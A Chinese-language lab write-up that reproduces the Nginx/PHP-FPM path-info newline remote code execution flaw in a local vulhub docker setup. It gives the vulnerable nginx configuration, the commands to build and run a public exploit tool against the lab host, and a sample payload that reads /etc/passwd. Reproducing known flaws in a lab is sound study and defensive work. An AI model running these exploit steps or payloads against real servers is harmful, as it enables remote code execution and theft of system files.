漏洞原理#
Nginx 上fastcgi_split_path_info在处理带有%0a的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm在处理 PATH_INFO为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
该漏洞需要在 nginx.conf 中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的 Regexp。Regexp 被损坏导致PATH_INFO为空,从而触发该漏洞。
漏洞复现#
本实验所用的机器为:Kali,创建了 vulnhub 的 docker 镜像。
首先安装 vulhub,然后进入相应漏洞的目录下, 执行 docker 镜像创建的命令。
命令为:
docker-compose build docker-compose up -d
使用docker-compose config 查看该漏洞的配置
之后,访问该页面:
192.168.19.128:8080(192.168.19.128 为 kali 虚拟机的 IP)
下载安装漏洞利用工具
使用 GitHub 上该漏洞公开的 POC,获取安装包:
git clone https://github.com/neex/phuip-fpizdam.git
该工具需要在 go 语言环境下编译运行,所以需要 kali 装有 go 语言环境。
进入该目录后,执行命令:
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
这样,工具就安装完成了。
接下来进行漏洞的复现:
在该目录下执行命令:
go run . "http://192.168.19.128:8080/index.php"
之后,就可以在http://192.168.19.128:8080该页面,使用参数 a 来传递执行命令了。比如,查看/etc/passwd文件的内容,就可以构造如下的 payload:
http://192.168.19.128:8080/?a=cat%20/etc/passwd
漏洞成功复现。
go 环境在 Kali 上面的安装可以参考该链接:
https://blog.csdn.net/WHQ556677/article/details/122283509